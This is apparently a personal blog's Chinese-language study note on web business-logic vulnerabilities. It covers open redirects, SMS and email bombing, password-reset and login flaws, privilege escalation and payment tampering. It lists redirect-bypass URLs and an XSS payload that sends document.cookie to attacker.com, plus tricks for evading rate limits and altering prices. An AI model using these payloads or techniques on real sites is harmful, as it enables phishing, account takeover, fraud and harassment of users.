Note

逻辑漏洞：因程序员的思维逻辑的不足，导致编写程序产生的漏洞。与传统漏洞不同点是，逻辑漏洞是用合法的方式就可达成破坏的效果。这类漏洞一般的防护手段或者设备无法阻止，漏洞扫描器也难以发现。
常见场景：大部分出现在互联网等大企业，特别是业务越多，逻辑越混乱出现的可能性就越大。逻辑漏洞更需要的是细心、对业务的熟悉程度，以及广泛的知识面。

1. url 跳转漏洞

也被称为开放重定向漏洞，可以跳转到任意指定的 url 。
服务器端未对传入的跳转 url 变量进行检查和过滤。攻击者可以利用该漏洞来伪造 URL，引导用户跳转到恶意站点，进行钓鱼、诱导下载等攻击行为。
常出现于接受用户输入并将其用于构建 URL 的场景，例如：

用户身份验证和授权：在用户身份验证和授权的过程中，URL 参数通常用于跳转到另一个页面。例如，在某些网站上，用户必须在登录页面上提供凭据，然后被重定向到其他页面。攻击者可能会利用这种机制，将受害者重定向到一个看起来合法的页面，以窃取其登录凭据。
第三方应用程序：在某些情况下，Web 应用程序可能允许第三方应用程序访问其API，并使用URL参数跳转到其他页面。如果未正确验证和授权第三方应用程序，攻击者可以通过构建恶意 URL 来重定向用户到恶意站点。
类似的跳转类型：http://example.com/login.php?redirect=http:http//attacker.com/evil.php
攻击者可以通过将恶意站点URL（如 http://attacker.com/evil.php）放入redirect参数中，使得用户在登录成功后跳转到攻击者的站点上，从而进行一些恶意操作。攻击者还可以利用一些其他技术手段，如URL缩短服务、欺骗用户等，更好地利用该漏洞进行攻击。

1.1 利用思路

钓鱼网站
配合 xss 漏洞
攻击者可以通过 URL 漏洞构造出一个恶意的 URL ，并将其嵌入到一个页面中。当用户点击该链接时，可能会触发XSS漏洞，从而导致恶意代码被执行，例如窃取用户的敏感信息、注入恶意代码等。
构造URL如下：
```
https://www.example.com/login.php?redirect_url=<script>location.href='https://attacker.com/steal.php?cookie='+document.cookie</script>  
```
当用户点击该链接进行登录时，会被重定向到一个恶意站点，并将用户的Cookie信息传输到攻击者的服务器上，攻击者可以通过获取到的Cookie信息进行后续的攻击。
配合 csrf 漏洞
配合浏览器漏洞：CVE-2018-8174 等

1.2 常见的 bypass 方法

Url 跳转常用参数：
redirect, url, redirectUrl, callback, return_url, toUrl, ReturnUrl, fromUrl, redUrl, request, redirect_to, redirect_url, jump, jump_to, target, to, goto, link, linkto, domain, oauth_callback 等。

假设存在如下情况：

www.xxx.com：存在url跳转漏洞的网站
- redirect是www.xxx.com网站的跳转页面
- login.xxx.com是该网站的登录页面
www.attacker.com：攻击者的网站

1.2.1 单斜线绕过

http://www.xxx.com/redirect?url=/www.attacker.com

1.2.2 缺少协议绕过

http://www.xxx.me/redirect?url=//www.attacker.com

1.2.3 多斜线绕过

http://www.xxx.me/redirect?url=///www.attacker.com  
http://www.xxx.me/redirect?url=////www.attacker.com

1.2.4 问号绕过

http://www.xxx.com/redirect?url=http://attacker.com?login.xxx.com

1.2.5 正斜杠绕过

http://www.xxx.com/redirect?url=http://attacker.com/login.xxx.com

1.2.6 反斜杠绕过

# 一个反斜杠绕过  
http://www.xxx.com/redirect?url=http://attacker.com\login.xxx.com  
 
# 两个反斜杠绕过  
http://www.xxx.com/redirect?url=http://attacker.com\\login.xxx.com  
 
# 一个反斜杠 一个点  
http://www.xxx.com/redirect?url=http://attacker.com\.login.xxx.com

1.2.7 `@`符号绕过

http://www.xxx.com/redirect?url=http://www.xxx.com@www.attacker.com

1.2.8 `#`符号绕过

http://www.xxx.com/redirect?url=http://www.attacker.com#www.xxx.com

1.2.9 利用白名单缺陷绕过

如果白名单限制不当：

网站允许跳转到www.xxx1.com，可以使用www.xxx1.com尝试绕过
如果白名单检测到包含xxx.com即可跳转，可以注册<custom-name>.xxx.com域名来进行跳转。

1.2.10 ip转换为数字

如果攻击者的网站没有使用域名，仅使用的是IP地址。可以将IP地址转换为数字进行绕过。
例如：127.0.0.1:8080 可以转换为 2130706433:8080
GitHub - yiscook/IPtoInteger: 将输入的IP地址转换为16进制、10进制、8进制的数字

1.2.11 利用可信域名进行二次跳转

例如：攻击者的网站可以通过百度搜索的到。可以利用百度的跳转链接进行绕过。

https://www.baidu.com/link?url=wIP-PXDOHwYsO8NSjfHTl8k56_JwI_cNPXaWjaYGdfS&wd=&eqid=9a2866ec0000160000000006641d41f9

2. 短信、邮箱轰炸漏洞

网站没有对信息发送的次数、时间进行充分的限制。导致可以无限发送信息。也就是发送短信的数据包可以无限制的发送。

2.1 漏洞产生的位置

账号注册
密码找回
账号绑定手机
充值、提现等操作。

2.2 测试方法

测试的时候通常会使用接码平台，以及多个自己的备用手机号。

开启抓包工具
抓取发送短信（或者邮件等）的报文
重放

2.3 bypass思路

对手机号的参数内容前面和后面添加多个空格或 \n
对参数的完整内容进行叠加，例如："moblie":"133XXXXXXXX" → {"moblie":"133XXXXXXXX", "moblie":"133XXXXXXXX"}
利用调用接口绕过限制
修改或者删除cookie绕过限制
修改IP或者代理IP绕过限制
利用大小写绕过邮箱轰炸的限制
修改返回值进行绕过

2.4 防御和修复

限制发送短信和邮件的频率和次数。防止攻击者恶意发送大量的短信和邮件。
强化验证码的验证机制，增加人机验证等多重验证方法。
增加监控的日志记录。

3. 任意密码修改漏洞

该漏洞通常发生在修改密码的功能中。网站未对修改密码的凭证做严格的限制，导致攻击者可以在此处进行绕过，对用户账号进行密码修改。
常见的漏洞场景如下：

3.1 验证码不失效

造成原因：找回密码或者用手机号登录的时候获取的验证码缺少时间限制，仅判断了验证码是否正确未判断是否过期。或者验证码时间限制过长。
测试方法：枚举寻找真正的验证码。
现在已经不常见了，通常是6位数字，限制10分钟内。成功率非常低。

3.2 验证凭证回传

造成原因：获取验证码时，服务器直接将凭证返回在 response 中，以方便接下来的对比。
测试方法：直接输入目标的手机号，获取验证码，并观察返回包。如果返回包中存在验证码，进行验证。

3.3 验证凭证未绑定

造成原因：输入手机号和验证码进行重置密码时，仅对验证码是否正确进行了判断，未对手机号进行匹配。
测试方法：两部手机号，先使用 A 手机号获取验证码；再使用抓包工具获取到修改密码的请求，在请求包中，将 A 手机号修改为 B 手机号；最后发送数据包。

3.4 本地绕过

造成原因：客户端在本地进行验证码是否正确的判断，判断的结果也可以通过抓包工具进行修改，进而欺骗客户端，以为已经输入了正确的验证码。
测试方法：使用目标用户的账号，输入错误的验证码，抓取返回包内容，将错误 flag 修改为正确，尝试绕过验证步骤，重置用户密码。

3.5 跳过验证步骤

造成原因：对修改密码的步骤，没有做校验，导致可以直接输入最终修改密码的网址，达到绕过并修改密码的目的。
测试方法：首先使用自己的账号进行一次完整的修改密码的流程。并记录输入新密码的链接。重置他人密码时，获取验证码后，直接输入输入新密码的链接，重置用户的密码。

3.6 凭证可预测

造成原因：使用邮件接受重置密码的链接，一般会带有一个 token 用于判断链接是否被修改过。如果 token 可以预测，那么攻击者可以构造链接来重置用户密码。
token 可以进行预测，例如：基于时间戳、递增序号、关键字和其他规律生成的 token。

3.7 同时向多个账户发送凭证

测试方法：将发送验证码的包截获，修改字段添加多个账户，再进行发包。所有的用户都收到了凭证。

4. 任意密码登录漏洞

因逻辑错误导致可以登录任意的账户。通过撞库获取到用户名（包括邮箱、手机号等）；通过验证码进行登录。抓包修改接收验证码的手机号或邮箱，然后使用该验证码登录撞库获取到的账号。SQL 注入的万能密码也属于这一类。

4.1 修改返回包进行登录

造成原因：类似任意密码修改漏洞中的本地绕过，修改登录的判断值尝试进行登录。
测试方法：
1. 在登录的时候进行抓包。
2. 修改返回包，将错误的 flag 值修改为正确的。
3. 服务器被成功欺骗，成功进行登录。

4.2 系统默认口令

造成原因：系统使用了默认的口令进行登录。可以是常见的弱口令和强口令，根据用户的生日或身份证信息创建的默认口令。
常见于国企、小公司、学校等单位。

4.3 撞库

造成原因：不同的系统可能会使用到相同的数据库。拿到了一个系统的数据库可以通用；或者旧密码未改动，可以通过社工库等查询到旧密码进行撞库。

造成原因：登录的时候根据 cookie 中某个字段来判断登录的角色。cookie 字段是可以被任意修改的。最常见的字段名是：userId
也可以理解为越权。

5. 越权访问漏洞

是一种常见的 Web 应用程序漏洞，其指的是攻击者能够在未经授权的情况下访问或操作应用程序中的敏感资源或数据，通常会涉及到对象、文件或记录的访问控制不当。越权漏洞也分为横向越权访问漏洞和纵向越权访问漏洞。

横向越权访问漏洞：攻击者利用漏洞，尝试访问具有相同权限级别的其他用户或系统资源。换句话说，攻击者尝试以自己的身份访问其他用户或系统资源，这些资源与攻击者拥有相同的权限级别。
纵向越权访问漏洞：攻击者利用漏洞，尝试访问比自己权限级别高的资源，比如超级管理员账户或者系统配置文件等。这种漏洞比横向越权更危险，因为攻击者可以获取比自己更高级别的权限，从而访问、修改、删除系统中的重要数据。
越权漏洞的成因：主要是因为开发人员在对数据进行增、删、改、查时对客户端请求的数据过分相信而遗漏了权限的判定，一旦权限验证不充分，就易致越权漏洞。

5.1 越权访问漏洞的利用

主要通过 burpsuite 进行抓包改包，观察各个参数代表的是什么含义。

6. 支付逻辑漏洞

常见的支付逻辑：
1. 支付申请：用户在商家网站上选择商品，并提交支付申请。此时商家网站将用户提交的订单信息（包括商品名称、价格、数量等）发送给支付网关。
2. 支付网关处理：支付网关接收到商家网站提交的订单信息，根据用户选择的支付方式（比如银联支付、支付宝、微信支付等）将订单信息发送给相应的支付平台进行支付处理。
3. 用户支付确认：支付平台接收到支付申请后，将用户引导至相应的支付页面（比如银行支付界面、支付宝界面、微信支付界面等），用户需要在此界面输入相应的支付信息（比如银行卡号、支付密码等）进行确认支付。
4. 支付平台处理：用户完成支付确认后，支付平台会将支付信息（包括支付金额、支付时间、支付状态等）返回给商家网站，并同时将支付信息发送给用户的银行或支付机构进行结算。
5. 结算完成：银行或支付机构根据支付信息进行结算，将资金从用户账户中扣除，并转入商家账户中。
常见的支付逻辑漏洞：
通常是由于服务器没有对客户端的请求中的敏感信息进行校验导致的。可以通过篡改价格、数量、状态、接口等参数，造成小钱购买大物甚至零元购。只要涉及购买、资金等方面的功能就有可能存在该漏洞。

6.1 支付逻辑漏洞的利用

修改订单金额：可以尝试在订单信息中修改金额，如果此处有验证机制，可以在最后一步付款的时候尝试抓包修改订单金额。
修改购买数量：没有对购买数量的参数进行限制，导致可以随意进行修改。最常见的方法是修改为负数和小数。
修改购买商品：尝试修改商品的 id，以低价购买到高价的商品。
重放交易：成功购买后，重放购买的请求，可以多次购买商品。
修改支付状态：没有对支付状态的值与实际订单支付状态进行校验，导致可以在支付时抓包修改支付的状态。
修改附属值：例如，优惠券、抵扣积分、运费等。没有对其进行校验，导致可以进行修改。
越权支付：通过修改一些特殊参数，达到用他人的资金来购买自己的商品。
测试数据未删除：部分测试数据未删除，导致可以购买测试数据的商品，或者领取测试的优惠券。
修改支付接口：部分网站支持多种的支付方法，如果设计不得当，抓包后修改为一个不存在的接口，再发包可能会支付成功。

🥘 yiscook's blog

探索

最近的笔记

SSRF-服务端请求伪造

XSS-跨站脚本攻击

XXE-XML 外部实体注入攻击

逻辑漏洞